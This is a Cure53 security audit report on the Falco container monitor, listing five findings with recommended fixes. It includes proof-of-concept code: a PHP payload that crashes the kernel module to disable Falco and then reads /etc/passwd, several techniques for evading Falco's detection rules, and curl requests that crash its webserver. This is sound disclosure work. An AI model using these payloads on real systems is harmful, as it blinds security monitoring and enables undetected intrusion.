**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

# Pentest-Report Falco 06.-07.2019

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, MSc. D. Weißer, B. Walny, BSc. J. Hector, J. Larsson

## Index

## Introduction

*"Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig's system call capture infrastructure, Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules."*

From https://github.com/falcosecurity/falco

This report documents a large-scale security assessment of the Falco software complex. Carried out by Cure53 in June 2019, this project entailed both a thorough penetration test and a broader, general security audit. Notably, the targeted Falco software is a behavioral activity monitor designed to detect anomalous activity in deployed applications. Five security-relevant discoveries, including one item marked as "*Critical*" in terms of severity, were made on the scope during this project.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It should be clarified that this Cure53 project was very extensive and actually combined two parts of investigations against two items. The first component was an analysis of the Falco software described here, while the second encompassed the open-source version of the Sysdig software. The latter is documented in a separate report. The reasoning behind this bifocal approach was that the two software items are very much interconnected and Falco actually makes heavy use of Sysdig. In other words, capitalizing on the available resources and executing the assessments against the two items in parallel was a great opportunity for reaching a much more wide-spanning, optimal coverage. On that note, it needs to be stated that this assessment of the security levels exhibited by Falco was requested and sponsored by CNCF, while the complementary audit and pentest against Sysdig software was financed by Sysdig, Inc.

Commenting more on the particular resources dedicated to the project, a team of six members of the Cure53 team was comprised and tasked with completing this assessment. The tests and audits were carried out in June and July of 2019, with eighteen days invested into work specific to Falco, and twenty person-days spent on research and tests that targeted Sysdig. Both components were realized in a timely fashion and progressed efficiently. Slack was used for communications during the test Slack. In a dedicated channel, the Cure53, Falco and Sysdig teams could collaborate and exchange information about emerging issues and findings.

Zooming in on the findings from the tests against Falco, it can be noted that three problems were noted as actual vulnerabilities and two as general weaknesses. Among the core flaws, one vulnerability received a "*Critical*" score because it would make it possible for an attacker to deactivate Falco. As such, it would bypass the anomaly detection by simply crashing the software. The issue is closely related to a crash found in Sysdig, which is documented in the corresponding report as *SYS-01-003*. Additionally of note is that two findings were deemed to carry "*High*"-level risks. These indicate more detection bypasses and another crash that can be triggered via HTTP. On a positive note, all other issues should be seen as quite trivial severity. Further, none of the discoveries should be overly difficult to fix. As the rule bypasses are more worrisome and may pose some challenges, they will be discussed in the conclusion one more time.

In the following sections, this report will first shed light on the scope and then furnishes case-by-case descriptions of the findings, featuring both technical details (i.e. with Proof-of-Concept excerpts) and possible mitigations for going forward. Based on the results of this summer 2019 assessment, Cure53 issues a broader verdict about the privacy and security posture of the tested items. Conclusions pertinent to the Falco software complex, its limitations and possible improvements that should be considered in future releases, are supplied in the final section of the report.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

## Scope

- **Falco**
  - https://github.com/falcosecurity/falco/releases/tag/0.15.3
  - A *Scope Doc* was made available & shared between Cure53 and Sysdig, Inc.

## Test Methodology

The following paragraphs describe the testing methodology used during the audit of the Falco- and its dependent Sysdig-codebase. The test was divided into two phases, each fulfilling different goals. In the first phase, the focus was on manual source code reviews, which were needed for spotting insecure code patterns. Usually issues around race conditions, information leakage or similar flaws can be found in this context. During the second phase, it was evaluated whether the security goals and premise claimed by Falco can withstand real-life attack scenarios.

### Part 1. Manual code auditing

This section lists the steps that were undertaken during the first phase of the assessment targeting the Falco software compound. It describes the key aspects of the manual code audit. Along with the spotted major issues, the list portrays the thoroughness of the audit and confirms the quality of the project.

- The provided documentation was extensively studied to obtain a good overview of the project and its deployment options.
- The *puppet* module was audited for problems in relation to the instrumentation of Falco. No issues were detected.
- The parser-aspect of the user-space engine, along with the rule-loader, were treated with extra scrutiny, yet no weaknesses were noted.
- *program_output* was closely investigated but the pipe to the supplied executable by *popen* does not allow for *cmdline* injection.
- The entire codebase was checked for C-style string functionality. While format string potential was identified, none of it has been deemed exploitable.
- The webserver implementation was investigated for typical problems, in particular the handler-aspects. No exploitable scenarios were found.
- Overall usage of functions akin to *mg_send_http_error* and *mg_printf* has been audited with no vulnerabilities spotted.
- The entire codebase was checked for proper usage of format strings, especially the application of substrings. No security-related issues were filed.
- The C++ code was audited for language-typical misapplication like direct object references leading to use-after-free, as well as dangling *c_str*-pointers.

- The parts of the webserver dealing with *JSON* parsing were audited but none of the typically found problems seem to weaken the codebase.
- Memory management functions like *malloc*, *realloc* and *memcpy* were investigated for inappropriate application but found to be correct.
- The dependency build-scripts were audited. The fact that HTTP links are used with hard-coded version numbers resulted in the recommendation for FAL-01-004**.**

## Part 2. Code-assisted penetration testing

The following list documents the distinguishable steps taken during the second part of the test. A code-assisted penetration test was executed against a locally deployed Kubernetes-cluster configured by the testing team, running both Falco and Sysdig. This additional approach was used to ensure maximum coverage of the originally defined attack surface.

- Falco and Sysdig were installed in a remote Minikube-cluster, emulating a full Kubernetes-cluster with *helm, tiller* and additional services.
- A *DVWA*-pod was installed as a test service to evaluate the default ruleset deployed by Falco in a potentially compromised environment.
- The TLS/SSL setup inside the Kubernetes-cluster was checked for correct configuration. Session establishment and event retrieval were deemed secure.
- Falco was deployed with a *DaemonSet*, optionally including RBAC. A resource depletion problem within Minikube was identified.
- Falco configuration options were verified, *http_output* uses *curl* with proper settings; SSRF would not work even in a Man-in-the-Middle scenario.
- A HTTP-fuzzer was deployed against the webserver but no reproducible crashes could be provoked with this approach.
- Dozens of default filter-rules were audited in detail. A collection of problems was identified, eventually leading to the filing of FAL-01-002.

## Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *FAL-01-001*) for the purpose of facilitating any future follow-up correspondence.

### FAL-01-001 Driver: Undetected crash disables Falco monitoring (*Critical*)

It was discovered that the kernel module crash found in Sysdig (*SYS-01-003*) is not detected by the Falco application. This means that Falco is unaware that the module has crashed and no longer receives system call events. *SYS-01-003* can be triggered from an unprivileged process and within a container, which allows a malicious entity to effectively disable the monitoring system and perform any desired action without Falco being notified.

What follows is a Proof-of-Concept (PoC) that assumes an attacker who manages PHP code execution in a vulnerable web application.

**PoC. PHP Code execution with *ngnix*:**

```
<?php
if(glob("/etc/falco/*")){echo "[x] Falco installed\n";
$poc1 = "int main(){syscall(19, 0xffffffffffffffff, 0xffffffffffffffff,
0xffffbc1000000000, 0x5633fff478f1);return 0;}";
$poc2 = "int main(){char buf[4096] = {0x41};syscall(19, 0xffffffffffffffff,
&buf, 0x80000001, 0x5633fff478f1);return 0;}";
file_put_contents("/tmp/b.c",$poc2);
$bypass = "/usr/sbin/nginx -c /etc/nginx/nginx.conf";
system("PATH=/usr/local/bin:/usr/bin:/bin /usr/bin/gcc /tmp/b.c -o /tmp/crash &&
/tmp/crash" . ";#$bypass");
echo "[x] Falco disabled\n";
system("ls -la; cat /etc/passwd; whoami; id;");
}else{echo "[x] Falco not found\n";}
?>
```

A simple check is performed to ensure Falco is installed. Next, the PoC *C-sourcecode* from *SYS-01-003* is written to a file, compiled and executed. Note that here an additional bypass, explained in FAL-01-002, is used to ensure that the *compile* command is not registered by Falco.

In the above PoC, two different payloads can be used to execute the system call. The difference is that *poc1* contains an invalid user-space address (second *syscall* parameter) and a larger third parameter. This disables the monitoring as well, although the root cause is not clear. Surprisingly, *poc1* does not crash the kernel module when one just looks at Sysdig. This needs further investigation as some sort of discrepancy exists when it comes to running Sysdig as a standalone versus running it as bundled with Falco.

It is recommended to implement a mechanism that detects if the kernel module is actually running or not; an immediate detection of a crash would ideally re-initialize the module.

## FAL-01-002 Falco: Bypassing various rules with different techniques (*High*)

A set of default macros and rules is provided inside *falco_rules.yaml*. During the audit, multiple ways to bypass said rules were discovered. An array of methods ensues.

**Bypassing path-based checks with */proc/self/root***
Most file-related rules implement their checks based on the *fd.name* and *fd.directory* parameters. Oftentimes, it is assumed that the paths are absolute, i.e. "*startswith /some/ path".* With operating system-level symlinks, such as */proc/self/root/* which links back to *"/"*, all of the rules may be bypassed. This is because all paths can be accessed via "*/proc/self/root/some/path*" in this case.

**Bypassing *cmdline*-based checks with subcommands**
Across various places, *proc.cmdline* is used to determine if certain strings are present or not and this is done to detect malicious behavior. One example is the macro called *parent_scripting_running_builds*. Cure53 discovered that the checks can be bypassed with the use of subcommands. The existing rules were modified to rely on the above-mentioned macro to demonstrate the issue in the following Proof-of-Concept (PoC).

**PoC:**
```
$ # Detected command:
$ php -r 'system("git --version");'
$ # Undetected command
$ php -r 'system("$(echo \"git --version\")");'
```

**Resulting *cmdline:***
```
# Detected command
command=sh -c git --version
# Undetected command
command=sh -c $(echo "git --version")
```

Falco tries to detect if "*sh -c git*" is called by checking whether the *cmdline* starts with that particular string. As demonstrated above, this is no longer the case subcommands are in play.

**Various other methods leading to bypasses**
Although the first two bypasses already circumvent a substantial number of rules, both less general and more specific bypasses for the remaining rules were also found.

The rules solely checking if files get opened for writing, such as *Update Package Repository*, can be evaded by writing a file into */tmp/* for instance and then moving it afterwards to the new location. Same applies to the *Create Hidden Files or Directories* rules which can be approached with renaming of the created folder/file.

Some rules were found to be overly specific in their conditions. *Set Setuid or Setgid bit,* for instance, checks only if *chmod* is called with the exact params of "*+s*" or "*4777*", thus passing "0477" or "6777" unnoticed. The same pattern can be observed for the rules which monitor only specific binaries for certain actions. The discrepancy is, for example, between *Delete Bash History*. "*shred, rm, mv*" which are being checked and binaries - such as *unlink* - which are not handled in the same way and remain unchecked.

Finally, rules were found to be too broad in their definitions. Macros such as *nginx_starting_nginx* check if a *cmdline* contains a certain substring. This can be trivially bypassed, for example by adding a comment to the end of the malicious *cmdline*, simulating a normal action. The PoC in FAL-01-001 demonstrates this.

Considering all these different means of bypassing the rules, it becomes quite clear that writing a bullet-proof ruleset is a strenuous challenge. It is recommended to rethink the current approach of handling filter-rules and, possibly, redefine the scope and functionality of this item.

## FAL-01-003 Falco: HTTP request with incorrect data leads to crashes (*High*)

It was discovered that the Falco webserver can be crashed by sending a request with malformed *JSON* data. This allows attackers with local access or SSRF capabilities to disable surveillance in its entirety. However, this issue requires the attacked environment to have access to the webserver's port. In a properly containerized setup this is not the case. The following PoC demonstrates how a simple request leads to a crash in Falco.

**PoC:**
```
curl  http://127.0.0.1:8765/k8s_audit --data '{"kind":0}' -H "Content-Type:
application/json"
```

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

**Falco Crash:**
```
root@sysdigtest:/tmp# falco
[...]
Wed Jun 26 13:07:13 2019: Starting internal webserver, listening on port 8765
terminate called after throwing an instance of 'nlohmann::detail::type_error'
  what():  [json.exception.type_error.302] type must be string, but is number
Aborted
```

As the error states, the problem is caused by an *integer* value where a string is actually expected for the comparison. This can be seen in the following piece of code.

**Affected File:**
*/userspace/engine/falco_engine.cpp*

**Affected Code:**
```
bool falco_engine::parse_k8s_audit_json(nlohmann::json &j, std::list<json_event>
&evts)
{
       if(j.value("kind", "<NA>") == "EventList")
```

Furthermore, it was discovered that not just application-specific payloads can be used to crash the server but this can also be accomplished with malformed *JSON* strings. This can be seen in the PoC request below.

**PoC:**
```
curl  http://127.0.0.1:1337/k8s_audit --data '5E5555' -H "Content-Type:
application/json"
```

**Falco Crash:**
```
terminate called after throwing an instance of 'nlohmann::detail::out_of_range'
  what():  [json.exception.out_of_range.406] number overflow parsing '5E5555'
Aborted
```

Exceptions that may occur while handling user-provided data should not be fatal to the integrity of the application. It is recommended to ignore the malformed request rather than react with a termination of the application.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

## Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

### FAL-01-004 Falco: Dependencies pulled via hard-coded HTTP links *(Low)*

Apart from auditing the source code of the Falco application, the *build* scripts were analyzed as well. It was noticed that some dependencies in the *CMake*-files are downloaded via hard-coded HTTP links. The following contents of the *CMakeLists.txt* serve as an example.

**Affected File:**
*CMakeLists.txt*

**Affected Code** (an example)**:**
```
else()
	set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
	message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
	set(ZLIB_INCLUDE "${ZLIB_SRC}")
	set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
	ExternalProject_Add(zlib
		# START CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842,
CVE-2016-9843
		URL
"http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.11.tar.gz"
```

Because the download happens via a clear-text connection, any attackers with Man-in-the-Middle capabilities (for example after a successful intrusion into internal network occurred) can easily spoof the connection to download malicious executables instead. It is therefore recommended to replace all HTTP links with their HTTPS equivalents. In addition to that, it is also recommended to cease hardcoding of the version numbers (like *zlib-1.2.11.tar.gz* in the example above). Instead, referral should always be to the *-latest* package from the official vendor. This offers slightly stronger guarantees that the latest software version is always used.

## FAL-01-005 Falco: Security flags not enforced by *Makefile* (*Low*)

One of the realms reviewed during almost every security test of a new project encompasses studying the presence of hardening flags applied when the software is built. This can be done with tools like *checksec*[1] or *PEDA*[2] once the software has been compiled with the default options inside the *Makefile* at hand.

**Sysdig Security Flags:**
```
# gdb /usr/bin/sysdig
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
```

From the *GDB*'s output, it is apparent that the hardening flags are derived from the global Linux distribution setting rather than forced from the *CMakeLists.txt* itself. From this follows that certain hardening checks are missing. These include *FORTIFY_SOURCE.*

Although modern compilers enable those settings by default, it is important to set the necessary *CFLAGS/CXXFLAGS* inside the *CMakeLists.txt* itself. This should be done in order to directly instruct the compiler to insert all of the security flags required. Once activated, the exploitation of multiple kinds of memory corruption vulnerabilities becomes much more difficult. This increase in security comes from two reasons: one having to do with requiring additional information leaks from the program's memory, and the other revolving around establishing that the problems are mitigated by newly introduced length checks.

The following snippet shows what *CFLAGS/CXXFLAGS* are recommended as an addition to the *CMakeLists.txt* file.

**Security Flags:**
```
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
set(SYSDIG_SECURITY_FLAGS "-Wl,-z,relro,-z,now -pie -fPIE -fstack-protector-all
-D_FORTIFY_SOURCE=2")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SYSDIG_SECURITY_FLAGS}")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SYSDIG_SECURITY_FLAGS}")
```

With these settings enabled, *checksec* should yield the following output:

[1] http://www.trapkit.de/tools/checksec.html
[2] https://github.com/longld/peda

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

**Sysdig Security Flags:**

```
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : Full
```

## Conclusions

Judging by the relatively low amount of relevant vulnerabilities and only a handful of miscellaneous issues, Cure53 has gained a good impression of the examined Falco software complex and the underlying open-source variant of Sysdig. Even though one of the issues was classified as being "*Critical*" in terms of severity, this summer 2019 project demonstrates that the Falco software generally keeps its security promises. Cure53 confirms that Falco already constitutes a mature security solution for container runtimes. The problems documented as a result of this June and July 2019 assessment may be rectified with relatively low effort and certainly within a minimal timeframe. Importantly, the involved members of the development team were engaged in the auditing process, despite an initial delay at the start of the project. The individual turnaround times for answering questions were quite impressive and the provided feedback was clear.

As regards technical details, especially the undetected crash is worrisome because it disables all of the Falco's monitoring. This lowers the integrity of the security promise the system intends on keeping. The current implementation of the filter-rules may need to be reworked. Perhaps some revisions are also needed in connection with the architecture of certain design aspects as the current strategies do not prevent a multitude of possible rule-bypasses. Other *user-space* issues could be grouped together under the heading of simple implementation oversights that appear difficult to fully exploit. It is still recommended that the development team looks for issues similar to the ones identified here. These efforts should be more comprehensive to make sure that problems are prevented across the board in a consistent manner. As usual at this point, it is recommended to treat all relevant dependencies with the same scrutiny.

It needs to be reiterated that this security-focused audit of the Falco security system was generously funded by The Linux Foundation / Cloud Native Computing Foundation. The resources allowed a team of six Cure53 testers to scrutinize the software for a total of eighteen person-days. The project itself ignited the interest of the developers linked to the underlying Sysdig system and they gladly jumped on the opportunity to join this assessment. As a result, the counterpart team at Sysdig initiated a corresponding audit of the open-source edition of Sysdig. The combined scope of both investigations made it possible for a very good coverage of the integrated software complex to be reached. Cure53 attests good general health and security of the project and this will especially hold once the "*Critical*" issue gets mitigated. The testers are further hoping that all remaining issues will be fixed swiftly.

The overall indicators pertaining to the security of the Falco monitoring system, which were established and evaluated during this summer 2019 Cure53 assessment, testify to the project being in good shape from a security stance. The code reads well and seems to be maintainable without major effort. The choice of the implementation language and the dependent components leaves room for some errors, yet these represent typical flaws of many of the contemporary software systems. The documentation appears complete and the examined aspects exhibit good quality when it comes to security of the audited software system. To sum up, the general status of the Falco system is deemed stable and correct with only few aspects calling for more attention.

Cure53 would like to thank Michael Ducy, Mark Stemm, Leonardo Di Donato and Lorenzo Fontana from the Falco development team, as well as Chris Aniszczyk of The Linux Foundation, for their excellent project coordination, support and assistance, both before and during this assignment. Special gratitude also needs to be extended to The Linux Foundation for sponsoring this project.